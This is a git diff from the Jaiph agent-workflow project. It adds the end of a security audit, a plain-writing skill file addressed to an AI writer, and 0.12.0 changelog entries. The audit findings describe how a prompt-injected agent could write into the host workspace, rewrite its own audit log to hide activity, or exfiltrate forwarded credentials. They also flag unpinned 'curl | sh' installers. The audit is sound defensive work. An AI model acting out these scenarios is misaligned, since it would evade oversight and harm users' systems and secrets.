(`selectMcpSandboxMode` returns - `inplace` when nothing is set) and `src/runtime/docker.ts:783-786` - (`inplace` binds the host workspace `:rw`). - -**Exploit scenario.** When Jaiph runs as an MCP server, every exposed workflow -(`src/cli/mcp/tools.ts`) executes with the *host* workspace mounted read-write by -default — isolation is inverted relative to `jaiph run`. A calling agent (or a -prompt-injected sub-agent) invoking a workflow that writes files, combined with -Finding 1, can modify any file in the real project: source, CI config, git -hooks, `package.json` scripts. The Docker machine boundary still stands, but the -*workspace* boundary is gone by default, so tool effects are persistent and can -seed later host-side execution (a poisoned build script or git hook run outside -the sandbox). - -**Remediation.** Make the MCP default explicit and visible in the server startup -banner ("writes land live on "), and consider defaulting MCP to `copy` -isolation with `inplace` as an opt-in, matching `jaiph run`. At minimum, require -an env/flag acknowledgement before serving a workspace in live-write mode. - -### 3. Overlay sandbox grants SYS_ADMIN and disables AppArmor - -- **ASI:** ASI-03 (Excessive Agency) / ASI-05 (Trust Boundary) -- **Severity:** LOW -- **Confidence:** 0.75 -- **Where:** `src/runtime/docker.ts:729` (`--cap-add SYS_ADMIN`, plus SETUID/ - SETGID/CHOWN/DAC_READ_SEARCH) and `src/runtime/docker.ts:746` - (`--security-opt apparmor=unconfined` on Linux). Overlay setup runs as - `--user 0:0` (`docker.ts:768`). - -**Exploit scenario.** To mount `fuse-overlayfs`, overlay mode starts the -container as root with `SYS_ADMIN` and AppArmor unconfined. The overlay script -then drops to the host UID via `setpriv` (`runtime/overlay-run.sh:29`) and -`--security-opt no-new-privileges` is set, so the workflow process itself is -unprivileged. But a kernel/FUSE vulnerability reachable from the container, or a -window before the UID drop, has a materially larger attack surface than a -minimal container would. This is defense-in-depth, not a direct exploit — hence -LOW. - -**Remediation.** Prefer the `copy` sandbox path (no SYS_ADMIN, no fuse) as the -default where feasible; it already provides the same isolation guarantee per the -in-code comments. Where overlay is required, scope AppArmor with a tailored -profile instead of `unconfined`, and document the elevated posture. - -### 4. Audit trail lives in an agent-writable directory, unchained and unredacted - -- **ASI:** ASI-06 (Insufficient Logging) -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** run dir + `run_summary.jsonl` created under `.jaiph/runs` - (`node-workflow-runtime.ts:281-291`, `:445-452`); artifacts mounted at - `/jaiph/run` (`docker.ts:576,793`). No redaction/hash-chaining in the event - emitter (`runtime-event-emitter.ts`, `emit.ts`). - -**Exploit scenario.** The structured JSONL log is good — timestamped, id-linked, -status-bearing, and replayable. But it is written to `/jaiph/run` (mapped to -`.jaiph/runs` on the host), which the running workflow can write to. A -misbehaving or injected agent can append, rewrite, or truncate its own run -summary and artifacts to hide activity, because there is no append-only -enforcement and no hash chain to detect tampering. Separately, prompt text and -the reconstructed command line are written to artifacts verbatim -(`prompt.ts:745-746`), so any secret a workflow interpolates into a prompt or -logs to stdout is persisted in cleartext. - -**Remediation.** Hash-chain `run_summary.jsonl` (each line carries the SHA-256 of -the previous) and/or stream events to a location the sandboxed workflow cannot -write. Add a redaction pass over known credential env values before writing -prompt/command artifacts. - -### 5. Installer and image toolchain trust-on-first-use without signatures - -- **ASI:** ASI-09 (Supply Chain Integrity) -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** `docs/install:218-242` (binary + `SHA256SUMS` downloaded from the - same base URL, checksum compared, no signature); `runtime/Dockerfile:86,104,123,188` - (`uv`, `rustup`, `bun`, cursor installer via unpinned `curl … | sh`/`| bash`). - -**Exploit scenario.** The installer downloads the binary and its `SHA256SUMS` -from the same GitHub release origin, then verifies one against the other — this -detects corruption but not a compromised release: an attacker who can replace the -asset replaces the checksum file too. The Dockerfile similarly pipes remote -install scripts straight into a shell with no pinned digest, so a compromised -upstream (astral.sh, sh.rustup.rs, bun.sh, cursor.com) executes arbitrary code at -image-build time. There is no detached signature (GPG/cosign), no SBOM, and no -`INTEGRITY.json`-style manifest. - -**Remediation.** Publish and verify a detached signature over `SHA256SUMS` -(cosign or minisign) in the installer; pin toolchain installers to a known SHA-256 -and verify before executing; generate an SBOM for the runtime image. - -### 6. Imported `.jh` module metadata can change the executed agent command - -- **ASI:** ASI-03 (Excessive Agency) / ASI-09 (Supply Chain Integrity) -- **Severity:** LOW -- **Confidence:** 0.75 -- **Where:** `applyMetadataScope` applies callee-module metadata cross-module - (`node-workflow-runtime.ts:1699-1700` sets `JAIPH_AGENT_COMMAND` unless - `JAIPH_AGENT_COMMAND_LOCKED=1`); the cursor backend spawns that command - (`prompt.ts:199-211`, spawned at `prompt.ts:600`). - -**Exploit scenario.** A workflow `import`s a third-party `.jh` library. That -module's metadata sets `agent.command = "some-binary --flag"`. When a `prompt` -step executes in the imported module's scope, Jaiph spawns `some-binary` as the -"agent backend" (argv, so no shell metacharacters, but any executable on PATH -runs). Unless the top-level run set `JAIPH_AGENT_COMMAND_LOCKED=1`, importing an -untrusted module silently changes what binary runs on the user's behalf — a -config-driven escalation without any attestation step. - -**Remediation.** Do not let imported-module metadata override -`agent.command`/`agent.backend` by default; require the entry module (or an -explicit flag) to opt into honoring a dependency's execution config, or lock -these keys by default and require explicit unlock. - -### 7. Broad credential env prefixes forwarded into the container - -- **ASI:** ASI-06 (Insufficient Logging) / ASI-08-adjacent -- **Severity:** LOW -- **Confidence:** 0.8 -- **Where:** `ENV_ALLOW_PREFIXES = ["JAIPH_","ANTHROPIC_","CURSOR_","CLAUDE_","OPENAI_"]` - (`src/runtime/docker.ts:582`); forwarded in `buildDockerArgs` - (`docker.ts:801-808`); `--env` passthrough bypasses the allowlist by design - (`docker.ts:809-813`). - -**Exploit scenario.** The allowlist is the right shape (fail-closed, prefix-based) -and is correct for delivering agent credentials. The residual risk is breadth: an -entire prefix family is forwarded, so any `ANTHROPIC_*`/`OPENAI_*`/`CLAUDE_*` -value on the host — including ones unrelated to the current backend — is exposed -to whatever code runs in the sandbox, and combined with Finding 1 an injected -shell step inside the container can read them from its environment and exfiltrate -over the default network. This is contained (same trust domain, sandboxed) but -wider than least-privilege. - -**Remediation.** Forward only the specific credential keys the resolved backend -needs (e.g. `ANTHROPIC_API_KEY`/`CLAUDE_CODE_OAUTH_TOKEN` for claude), rather than -whole prefix families; document that `--env` is an intentional bypass. - -## Critical gaps and recommendations - -There are no critical (HIGH) gaps. In priority order: - -1. **Close the prompt-output → shell gap (Findings 1, 2).** This is the highest - residual risk because it converts prompt injection into command execution. The - sandbox contains it today, so the practical fixes are (a) steer authors to - argv-passing over `sh` interpolation, (b) a validator warning for - prompt-derived vars in shell steps, and (c) making MCP's live-write default - explicit or opt-in. -2. **Harden auditability (Finding 4).** Hash-chain the run summary and add secret - redaction so the audit trail is trustworthy and safe to retain — this is what - separates ASI-06 PARTIAL from PASS. -3. **Sign the supply chain (Finding 5).** A detached signature over `SHA256SUMS` - and pinned toolchain digests move ASI-09 toward PASS. -4. **Tighten least privilege (Findings 3, 6, 7).** Prefer the `copy` sandbox, - scope AppArmor, lock execution-config keys against untrusted imports, and - forward only backend-specific credentials. - -**What is already strong and should be preserved:** the deterministic, -code-only, fail-closed policy layer (mount denylist, env allowlist, `*_LOCKED` -gates — ASI-08); argv-based script spawning that keeps command injection out of -the *script* path; and the genuine circuit-breaker / kill-switch machinery -(watchdogs, caps, force-remove container — ASI-10). These are the right -foundations; the findings above are about the edges where untrusted model output -reaches execution and where the sandbox is intentionally relaxed. diff --git a/.jaiph/skills.lock b/.jaiph/skills.lock index 2c7c0f81..38499df1 100644 --- a/.jaiph/skills.lock +++ b/.jaiph/skills.lock @@ -12,6 +12,12 @@ "sourceType": "github", "skillPath": "skills/agent-owasp-compliance/SKILL.md", "computedHash": "5c1f92c48888beb811d2435e58aa02b2619422a921d6f70e3cc15e5c5be8e7da" + }, + "plain-writing": { + "source": "shreyashankar/plain-writing-skill", + "sourceType": "github", + "skillPath": "SKILL.md", + "computedHash": "92f00994b362c3ea104e45814d133b9b24638e15549582a1a4b53b6e3355455b" } } } diff --git a/.jaiph/skills/plain-writing/SKILL.md b/.jaiph/skills/plain-writing/SKILL.md new file mode 100644 index 00000000..8eb16b03 --- /dev/null +++ b/.jaiph/skills/plain-writing/SKILL.md @@ -0,0 +1,296 @@ + +--- +name: plain-writing +description: >- + Write and edit prose in the user's plain style: simple everyday words, + complete sentences, no dashes, no jargon, no analogies, no filler, and full + clear explanations. Use this whenever you draft or revise any prose for the + user, such as documents, Notion pages, reports, summaries, README files, + research notes, proposals, slide text, emails, or commit and PR descriptions. + Also use it whenever the user asks to simplify, clean up, tighten, reword, or + make writing clearer or easier to read. Default to this style for prose + written for the user unless they ask for a different one. Do not apply it to + code itself, only to the words around it. +--- + +# Plain writing + +The plain writing skill captures how the user wants written prose to read. The +goal is text that anyone can read once and understand. The user has asked for the +plain style repeatedly and corrects writing that does not follow it, so apply it +by default when you write prose for them. + +The rules are in four groups: word choice and tone, sentences and paragraphs, +punctuation and formatting, and patterns to avoid. Each rule is followed by a +before and after so you can see it. After the rules come how to revise, then how +to build the optional revision file. + +## Word choice and tone + +1. **Use simple, everyday words.** Prefer the common word over the fancy one. + Short familiar words are faster to read. Also avoid words AI tools + overuse, e.g., "delve", "tapestry", "landscape", "robust", "leverage", and + "reach for". + Before: We leverage the cache to unlock a more robust query experience. + After: We use the cache to make repeated queries faster. + +2. **No jargon.** Always use human-understandable language. Don't invent jargon or shorthand (that is, if a word or phrase is not in the Merriam Webster dictionary, don't use it). Use established technical terms only when they are most precise, and briefly define them when readers may not know them. + Before: The score is a calibrated proxy for whether the property holds. + After: The score estimates how likely the property is to hold. + +3. **No puffery or empty emphasis.** Some words add emphasis but no information, + so drop them. Avoid the following words: "really", "real", "matters", + "worth", "carries weight", "boasts", "a testament to", "pivotal", + "renowned", and "quietly". State the actual point, or cut the sentence. + Before: This result matters, and it carries weight for the design. + After: The scores barely moved, so we can skip the model on most documents. + +4. **Repeat a word rather than swap in a synonym.** When the same thing comes up + again, use the same word for it. Do not use a different word just to avoid + repeating yourself, because the swap reads as fancy. + Before: Upload the document. The file is parsed, and the record is saved. + After: Upload the document. The document is parsed and saved. + +5. **Contractions are fine.** They match everyday speech, so use them freely. + You do not have to write every word out in full. + Before: Do not worry, it is not going to overwrite your file. + After: Don't worry, it's not going to overwrite your file. + +6. **Do not invent hyphenated adjectives.** A common compound adjective that + people already use is fine, e.g., "well-crafted". Avoid a phrase you make up + by joining words with a hyphen to sound compact or clever. A good test is + whether you would find the term in a dictionary or hear it in normal speech. + Before: We added a reveal-style colon to the output. + After: We added a colon that shows the schema. + +7. **Keep the writing boring, descriptive, and explanatory.** Do not use a + catchy phrase, slogan, clever label, metaphorical summary, or wording meant + to sound memorable. State the actual concept, action, condition, or + relationship in literal terms. This rule applies to headings, topic + sentences, callouts, labels, summaries, and ordinary prose. + Before: Legal requirements as a floor. + After: Applicable legal constraints. + Before: The alignment loop. + After: Iterative refinement using development disagreements. + +## Sentences and paragraphs + +8. **Write complete sentences.** Each sentence has a subject and a verb. Do not + write fragments, and do not stitch unrelated ideas together with colons or + semicolons into one dense line. But do join closely related ideas with plain + connectives like "and", "because", or "so" when they belong together. + Splitting every compound sentence into fragments makes prose choppy and + harder to follow. The test is whether the ideas are actually related. + Before: The agent polls the file and reacts to changes, and the team meets on + Tuesdays. + After: The agent polls the file and reacts to changes. The team meets on + Tuesdays. + +9. **Explain things fully and clearly.** Plain does not mean terse. If an idea is + compressed into one cramped sentence, expand it so each point gets its own + sentence and the reader can follow it. + Before: The groups the features were sorted into were the authors' own + reading, the example posts were written by hand, and finer detail meant + training extra small models and labeling again. + After: First, the authors sorted the features into groups themselves, based on + their own reading of the outputs. Second, they wrote the example posts by + hand. Third, when they wanted finer detail, they trained another small model + and labeled the posts again. + +10. **Organize a paragraph as a topic sentence and then support.** Start each + paragraph or section with a topic sentence that states the main point. Then + give the support: a supporting example or fact, with an extra sentence about + it if it needs one. Introduce more support with a plain connective like "For + example", "Moreover", or "Or". + Before: The parser skips files with no changes. The cache holds the previous + output. Most renders are fast. + After: Most renders are fast. For example, the parser skips files with no + changes, so the server returns early. Moreover, the cache keeps the previous + output, so a repeated render does no work. + +11. **Never write three or more clauses in one sentence, or three or more + example sentences in a row.** A sentence may contain one or two related + clauses. If it contains three or more clauses, split it into separate + sentences. If the clauses form a list, use bullet points. When an example + helps, give one example and introduce it with "e.g.". Do not give three or + more example sentences back to back to support the same point. + Before: The parser reads the file, the validator checks the fields, and the + writer saves the record. + After: The parser reads the file, and the validator checks the fields. The + writer then saves the record. + +12. **Prefer long, explanatory sentences over short, punchy ones.** The user + writes the way people explain things out loud, in longer sentences with + commas and one or two related clauses that carry the reasoning along. A + sentence should end because the thought is complete, not because a short + sentence would sound stronger. Plain writing here means explanatory, not + terse. + Before: The gate runs on every merge. It blocks regressions. Nobody + bypasses it. + After: The gate runs on every merge and blocks changes that fail a + regression case. A regression can reach production only when someone + deliberately overrides the check. + +13. **Be precise and unambiguous.** Every claim says exactly what changes, + who does what, or by what mechanism, so a reader cannot take it two + ways. Do not use an evocative abstraction where a concrete statement + exists, e.g., "improvement stops being guesswork" or "the process gets + easier". Name the specific thing that changes. + Before: With trusted scores, improvement stops being guesswork. + After: With trusted scores, you can measure whether each change helped, + so you keep or revert each change based on the measured result. + +## Punctuation and formatting + +14. **No dashes or middle dots.** Do not use em dashes or en dashes, including in + number ranges. Join clauses with a period, or with a word such as "and", and + write ranges with "to". Do not use the middle dot (·) as a separator, e.g., + in a title like "Lecture 1 · The Three Gulfs". Use a comma, the word "and", + or separate lines instead. + Before: The build is fast — it finishes in 10 to 20 seconds. + After: The build is fast. It finishes in 10 to 20 seconds. + +15. **Use a colon only to introduce a list.** Do not use a colon to join clauses + or to set up a point. A colon used for a point invites the clever phrasing + the user does not want. + Before: Read for the schema: the feature fires. + After: Read for the schema. The feature fires. + +16. **Use straight quotes, not curly quotes.** + Before: The system logs each “event” as it happens. + After: The system logs each "event" as it happens. + +17. **Keep the formatting plain.** Use sentence case in headings, and do not + use boldface as decoration. Bold is fine when it names the subject that the + rest of a list item explains. + Before: ## How To Install The Skill + After: ## How to install the skill + +## Patterns to avoid + +18. **Do not assign actions to inanimate things.** An inanimate subject should + usually only take "is" or "are", not an action verb. Make a person the actor + instead. Common phrases such as "the paper argues" are fine. + Before: The logs become searchable records once the job finishes. + After: You can search the logs once the job finishes. + +19. **No analogies or imagery.** Do not explain something by comparing it to a + different thing. Do not use a metaphor or any phrase meant to sound smart. + Describe the actual thing in literal terms. + Before: The feature index is like a card catalog that the optimizer can flip + through. + After: The feature index is a list of named features. The optimizer can look + up which feature matches a request. + +20. **No "not just X, it is Y".** Do not use the negative parallel pattern. + State what the thing is. + Before: It is not just a parser, it is a full toolchain. + After: It is a parser and a formatter. + +21. **No filler.** Cut words and phrases that add nothing, e.g., "it is worth + noting that". Watch for an "-ing" tail that adds fake analysis. Cut it, or + say the plain reason. + Before: The cache stores results, highlighting its value for speed. + After: The cache stores results, so repeated queries are faster. + +22. **Do not stack rhetorical questions.** AI writing often asks two or three + rhetorical questions in a row to sound thoughtful. State the problem directly + instead of asking the reader to wonder about it. + Before: Does the tool keep the writer's voice? Does it make the argument + stronger or weaker? + After: We do not yet know whether the tool keeps the writer's voice, or + whether it makes the argument stronger or weaker. + +23. **Do not use the dramatic pivot.** Do not set up a statement and then + undercut it in the next sentence. State the full point in one go. + Before: The model is still opaque. Users notice the wrong citations, but + those are only one symptom. + After: The model is still opaque, and the wrong citations are only one + symptom of it. + +24. **Do not attribute a claim to no one.** Do not hide a claim behind a vague + source, e.g., "experts say" or "studies show". Name the source, or cut the + claim. + Before: Experts say this approach scales well. + After: In our benchmark, the parser handled a million rows. + +25. **Do not use vague demonstrative pronouns or vague summary nouns.** Do not + use "This", "That", "These", or "Those" to point at a whole idea instead of + a named thing, and do not gesture at a prior idea with a bare noun like "the + result", "the outcome", or "the point". Name the thing you mean. Never open + a sentence with a demonstrative pronoun, and never begin a paragraph with a + sentence that contains a demonstrative anywhere in it. + Before: That context carries into the next turn. + After: The agent applies the rules you saved on the next turn. + +26. **Do not open with a count of things.** Never start a sentence, a + paragraph, or a topic sentence by announcing how many points are coming, + e.g., "Two cautions.", "Three things to keep in mind:", "A few notes + before we start." State the first point directly and let the next one + follow it. If the count is genuinely useful, put the items in a bullet + list instead of announcing the number in prose. + Before: Two cautions. First, the section can drift out of date. Second, + it can balloon if every item gets a sentence. + After: The section can drift out of date, because it duplicates facts + that live elsewhere. It can also balloon if every item gets a sentence. + +## How to revise + +Revise in two passes. + +First pass. Read the text once and fix anything that breaks the rules above. + +Second pass. Read the revised text again as if you had never seen it. Go clause by +clause and ask whether each clause adds something the reader needs. If a clause +or a whole sentence does not earn its place, remove it. Then check that a reader +seeing the text for the first time would understand every sentence. + +## The revision artifact + +When the second pass removes or rewrites anything, also make a small HTML file +so the user can see what changed. Skip the file for tiny edits where the second +pass did not cut or rewrite anything. + +Build a list of the changes at the level of whole sentences. Group the entries +into paragraphs, and give each paragraph a "para" number. Each entry is one of +three kinds: + +- keep. The sentence is unchanged. Fields: `type` is "keep", and `text`. +- edit. The sentence was rewritten. Fields: `type` is "edit", `old`, `new`, and + `why`. +- del. The sentence was removed. Fields: `type` is "del", plus `old` and `why`. + +The `why` is a short plain reason for the change, e.g., "filler, adds nothing". +Here is the shape of the list: + +```json +[ + { "para": 1, "items": [ + { "type": "edit", "old": "...", "new": "...", "why": "..." }, + { "type": "del", "old": "...", "why": "..." } + ]}, + { "para": 2, "items": [ + { "type": "keep", "text": "..." } + ]} +] +``` + +Then take the template at `assets/revision_template.html`, replace the exact +line `const DATA = __DATA__;` with `const DATA = ;`, and save it to a new +file in `/tmp`, e.g., `/tmp/revision-.html`. Do not write +it into the skill folder. Check that no `__DATA__` text remains in the saved +file. Tell the user where the file is. The file has three tabs: + +- First draft +- Second draft +- Diff + +In the Diff tab the removed text is red and the rewritten text is green. The +reason for each change appears when the user hovers the colored text. diff --git a/CHANGELOG.md b/CHANGELOG.md index 13377deb..bfd4c901 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,54 @@ ## All changes +# 0.12.0 + +## Summary + +- **Serve workflows over HTTP:** `jaiph serve` exposes a file's workflows as a REST API with OpenAPI/Swagger, plus MCP Streamable HTTP on the same port — OIDC/JWT or a static token, restart-safe runs, idempotent create, and bounded retention. +- **Observability out of the box:** set `OTEL_EXPORTER_OTLP_ENDPOINT` for end-of-run span trees, and `SENTRY_DSN` to alert on failed runs — host-side, credential-redacted, never load-bearing. +- **Run the runtime image standalone:** `ghcr.io/jaiphlang/jaiph-runtime` bakes `JAIPH_UNSAFE=true` so `docker run` / Kubernetes can execute workflows with no host jaiph process. +- **Install Jaiph in GitHub Actions:** `- uses: jaiphlang/jaiph/actions/setup-jaiph@v0.12.0` pins a release binary onto `PATH` (Linux/macOS) with the same checksum/signature checks as the curl installer. +- **Editor plugins in-tree:** VS Code/Cursor and Zed extensions for `.jh` / `*.test.jh` (TextMate + Tree-sitter), with CLI-backed diagnostics and format in VS Code. +- **Hardened long-lived services:** serve/MCP keep memory and results bounded, redact credentials from returned output, never block a terminal run on telemetry, and avoid loading OIDC deps for every CLI invocation. + +## All changes + +- **Feat — add `actions/setup-jaiph` for one-step CI installs:** other repositories had no first-class way to install a pinned `jaiph` CLI in GitHub Actions — the placeholder at `actions/setup-jaiph/` only documented the intended usage. It is now a real **composite** action (`actions/setup-jaiph/action.yml`) with a single `version` input (a bare semver `0.11.0`, a release tag `v0.11.0`, or `nightly`; default `nightly`) and a resolved `version` output (the installed `jaiph --version` banner). Its entrypoint (`actions/setup-jaiph/setup.sh`) is thin glue over the canonical release installer (`docs/install`): it resolves the input to a GitHub Release ref (bare semver → `v`, an explicit tag or `nightly` kept as-is), runs the installer into a runner-owned bin dir (`$RUNNER_TEMP/jaiph-bin`), appends that dir to `$GITHUB_PATH` so `jaiph` is on `PATH` for later steps, and writes the resolved version to `$GITHUB_OUTPUT`. It downloads the same standalone per-platform release binary as the curl installer (**no Node/npm on the runner**), covering GitHub-hosted **Linux** and **macOS** (arm64 / x64), and **all download / checksum / signature fail-closed policy stays in `docs/install`** rather than being duplicated — a checksum mismatch, a missing signature file, or a missing release artifact fails the step and installs nothing (the signature is verified when `minisign` is on the runner's `PATH`); the script also unsets `JAIPH_REPO_URL` so a stray value can never flip the installer into local-source build mode. A path-filtered CI workflow (`.github/workflows/setup-jaiph-action.yml`) exercises the action from this repo against `nightly` on `ubuntu-latest` and `macos-latest` — asserting `jaiph` lands on `PATH` and the action output matches what the CLI reports — so it does not bitrot, and a network-free e2e (`e2e/tests/08_setup_action.sh`, wired into `e2e/test_all.sh`) drives the entrypoint against a `file://` mock release to cover ref resolution, the `GITHUB_PATH`/`GITHUB_OUTPUT` wiring, and fail-closed on both a tampered checksum and a missing artifact. Docs: a rewritten `actions/setup-jaiph/README.md` (usage snippet matching the implemented inputs, an inputs/outputs table, and the security policy), a new [Install in GitHub Actions (CI)](docs/setup.md#install-in-github-actions-ci) section in [Install & switch versions](docs/setup.md), a GitHub Actions install snippet in the README, and a feature entry on `docs/index.html`. + +- **Feat — bring the in-tree VS Code extension up to the current Jaiph language surface:** `plugins/vscode/` was imported from the old `jaiph-syntax-vscode` repo and still described a stale language (`.jph` fixtures and docs, camelCase assertions, removed keywords). Its TextMate grammar and `language-configuration.json` now match the current `.jh` / `*.test.jh` grammar: `for … in` loops fold and highlight, `catch` joins `recover` as a failure handler, `logwarn` joins the command keywords, the test assertions are `expect_contain` / `expect_not_contain` / `expect_equal`, the config keys are the current set (`agent.model`, `run.recover_limit`, `runtime.docker_timeout_seconds`, `module.name` / `module.version` / `module.description`), and stale surface (`wait`, `respond`, `agent.default_model`, `runtime.docker_enabled`, the camelCase assertions, and every `.jph` assumption) is gone. Diagnostics and formatting stay wired to the installed CLI (`jaiph compile --json` and `jaiph format`) but now report a clear configuration error when the binary is missing or unreachable — distinguishing an unconfigured default `PATH` lookup from a bad `jaiph.compilerPath` — instead of silently reporting success, and a transient compile failure leaves prior diagnostics in place. A new `npm test` suite tokenizes fixtures with `vscode-textmate` (with a regression fixture that fails if removed surface such as `wait` reappears) and runs the real `jaiph compile --json` against valid and invalid fixtures, so the diagnostics tests break if the CLI contract changes. Packaging metadata and the plugin README were corrected to the monorepo layout (`.jh` only, how to F5 from `plugins/vscode/`, package/publish scripts), and a path-filtered `VS Code plugin` CI workflow builds, tests, and packages the extension only when its tree — or the `jaiph compile` command it depends on — changes, so core PRs do not rebuild it by default. + +- **Fix — stop the `jaiph mcp` / `jaiph serve` source watcher from missing edits during hot reload:** the shared `watchFile`-based watcher re-derives its file set on every hot reload. It used to unwatch every file and re-watch the whole new set, but re-watching a file that survived the reload reset `watchFile`'s baseline — captured with an asynchronous initial `stat` that fires no callback — so an edit that landed before that `stat` completed was absorbed into the new baseline and never detected, silently dropping a hot reload. The watcher now reconciles instead: it only unwatches files that left the set and only watches files that arrived, leaving a surviving file's live baseline (and the poll that catches its next edit) untouched. + +- **Feat — production authentication, authorization, and audit identity for `jaiph serve`:** `JAIPH_SERVE_TOKEN` was a fail-closed shared-secret gate with no user identity, revocation, per-action authorization, or attribution — insufficient once multiple company users can invoke arbitrary engineering workflows over one deployment. `jaiph serve` now has two production auth modes plus the open loopback default, all resolved once at startup in the new `src/cli/serve/auth.ts` and applied uniformly to `/v1/*` **and** `POST /mcp`. **Static single-operator mode is kept and explicit:** `JAIPH_SERVE_TOKEN` remains a constant-time-compared shared secret, but is now documented as a **single-operator** gate — one `operator` principal that holds every capability and sees every run, *not* multi-tenant authentication. **New OIDC/JWT mode:** `JAIPH_SERVE_OIDC_ISSUER` + `JAIPH_SERVE_OIDC_AUDIENCE` (setting only one is a startup error; OIDC takes precedence over the static token) verify bearer JWTs against the issuer's JWKS — discovered from `/.well-known/openid-configuration` or set explicitly with `JAIPH_SERVE_OIDC_JWKS_URI` — using the maintained `jose` library rather than hand-rolled cryptography (signature, `exp`/`nbf`, `aud`, `iss`, and `kid` selection with unknown-key refetch). **Per-action authorization:** three capabilities — `invoke` (run a workflow, MCP `tools/call`), `inspect` (read workflows/runs/events/artifacts, MCP `tools/list`), and `cancel` (cancel a run) — are granted in OIDC mode by the OAuth `jaiph:invoke` / `jaiph:inspect` / `jaiph:cancel` scopes (read from the `scope` string or `scp` array); a principal missing a capability is `403 E_FORBIDDEN`, and a principal (the token `sub`) may inspect or cancel **only the runs it created** — another principal's run is `404`, indistinguishable from nonexistent. **Audit identity everywhere but the journal:** the authenticated subject and a request/correlation id (from `X-Correlation-Id` / `X-Request-Id`, newline-stripped and bounded, else a generated UUID) are attached to run metadata (`principal` / `correlation_id` on the run object and persisted `run.json`), the invoke/cancel audit log lines, OTLP resource attributes (`jaiph.principal` / `jaiph.correlation_id`), and Sentry tags — propagated across async steps (including the MCP `tools/call` dispatch and detached SSE streaming) via `AsyncLocalStorage` — while **no token or secret-bearing claim is ever written to the durable journal**. **Configurable API-surface exposure:** `JAIPH_SERVE_EXPOSE_DOCS=false` returns `404` for `/docs` and `/openapi.json` so a hardened deployment can hide its API surface; `/healthz` stays always-open and credential-free (liveness/readiness only). Verification errors map to distinguishing codes: `401 E_TOKEN_EXPIRED`, `401 E_TOKEN_INVALID` (bad audience/issuer/key/signature), `403 E_FORBIDDEN` (insufficient scope), and `503 E_AUTH_UNAVAILABLE` when the identity provider / JWKS is unreachable (a valid token is never reported invalid because the IdP is down). This adds the project's **first runtime dependency** (`jose`; `package.json` gains a `dependencies` block). Tests: `src/cli/serve/auth.test.ts` (open/static/OIDC mode resolution and precedence, static-token header matrix, scope→capability mapping including the insufficient-scope and `scp`-array cases), new cases in `src/cli/serve/handler.test.ts` (capability gating per endpoint, per-principal run ownership, audit log lines without the token), and `integration/serve-auth.test.ts` (the full OIDC token matrix — valid, expired, wrong-audience, wrong-issuer, unknown-key, insufficient-scope, and missing — against a live server; separate capabilities with per-principal run visibility and audited invoke/cancel that never contain the bearer token; and `--help` documenting the static token as single-operator, not multi-tenant). Docs: a rewritten [Authenticate and authorize](docs/serve.md#7-authenticate-and-authorize) section in [Serve workflows over HTTP](docs/serve.md) (both modes, the scope→capability table, ownership, and the audit-identity propagation), the auth/capability/error/`principal`+`correlation_id` updates in [CLI — `jaiph serve`](docs/cli.md#jaiph-serve), the `JAIPH_SERVE_OIDC_*` / `JAIPH_SERVE_EXPOSE_DOCS` rows plus the updated `JAIPH_SERVE_TOKEN` and `OTEL_RESOURCE_ATTRIBUTES` rows in [Environment variables](docs/env-vars.md), the `jaiph.principal` / `jaiph.correlation_id` OTLP resource attributes and Sentry tags in [Export traces to an OTLP collector](docs/observability.md), the OIDC option in the Kubernetes auth note of [Deploy](docs/deploy.md), and README + `docs/index.html` feature bullets. + +- **Fix — make `jaiph serve` runs restart-safe and retry-safe, and define the supported topology:** run artifacts were durable but HTTP run *discovery* was only an in-memory map, so restarting the process made every completed run id unreachable (`GET /v1/runs/{id}`, `/events`, `/artifacts` → `404`), lost all in-flight state, and — because a create had no idempotency contract — let a client retry after a blip or a restart spawn a **second** expensive workflow. `jaiph serve` was a single-process developer server, not yet a reliable service. Four changes close the gap. **Durable public run record.** A run's public object is now persisted beside its journal as `run.json` (new `src/cli/serve/run-store.ts`, `persistRunRecord`), written atomically (temp file + `rename`) at finalize — best-effort and a no-op when the run has no discovered `run_dir`, so a read-only or vanished run dir never breaks the HTTP response. **Reconstruction on startup.** `loadPersistedRuns` scans `JAIPH_RUNS_DIR` (the same date/time layout `findRunDir` uses) and seeds the registry before the first request (`ServeHandlerOptions.initialRuns`): a run with a `run.json` reloads verbatim (a `schema_version` guard ignores an incompatible file rather than mis-parsing it), so list/get/events/artifacts and idempotency keys all keep working for runs that completed before the restart. **Interrupted-run reconciliation.** A run with a journal but no `run.json` was `running` when the process died; on startup it is reconciled from its `WORKFLOW_START` line into a new explicit terminal status **`interrupted`** (`RunStatus`, `isTerminal`, and the OpenAPI `status` enum all gain it) — its real outcome is unknown, so it is neither `succeeded` nor `failed`, but it is **never reported as permanently `running`** — and the reconciliation is persisted so it is stable across further restarts. **Idempotent creation.** `POST /v1/workflows/{name}/runs` now honors an `Idempotency-Key` request header, scoped to the workflow **and** the authenticated principal (a composite key; `principalOf` derives an opaque 16-hex hash of the presented bearer token, or `anonymous` when no token is configured — never the raw token, which would otherwise land in `run.json`). The key is reserved synchronously in an in-memory index **before any await**, so a concurrent retry cannot race to a duplicate spawn: a repeat with the same key and identical arguments returns the **original** run (`200`, nothing spawned); a reused key with **different** arguments is `409 E_IDEMPOTENCY_CONFLICT` and, again, spawns nothing. Argument comparison is a SHA-256 of the run's canonical (key-sorted) args (`hashArgs`), so reordered-but-equal arguments match. The composite key, principal, and args hash persist in `run.json`, and the index is rebuilt from reconstructed records at startup, so idempotency survives a restart too; a new `evict()` drops the index entry when its run leaves the retained set (so the index can't outgrow the registry, and a fresh request with a forgotten key starts a new run). **Topology stated explicitly.** `jaiph serve` is documented as **single-replica**: the run registry, concurrency cap, and idempotency index are per-process with no shared store, so multi-replica operation behind one load balancer is unsupported — scale vertically. `docs/deploy/k8s.yaml` pins `replicas: 1` with a `Recreate` strategy (so a rollout hands the runs volume to exactly one successor pod) and an inline comment explaining why. Tests: `src/cli/serve/run-store.test.ts` (order-independent `hashArgs`; persist→load round-trips a terminal run with its idempotency key; a journal-only run — even one whose journal reached `WORKFLOW_END` — reconciles to `interrupted` and is persisted; oldest-first ordering; an absent runs root yields an empty registry and persist is a no-op without a run dir), new cases in `src/cli/serve/handler.test.ts` (same key+args returns the original and never re-spawns; same key + different args is `409` and never spawns; distinct keys/workflows/principals are independent; an evicted original spawns fresh rather than returning a dangling id; `initialRuns` seed the registry so a restarted server serves prior terminal runs and their keys; `persistRun` fires with the terminal record at finalize), and 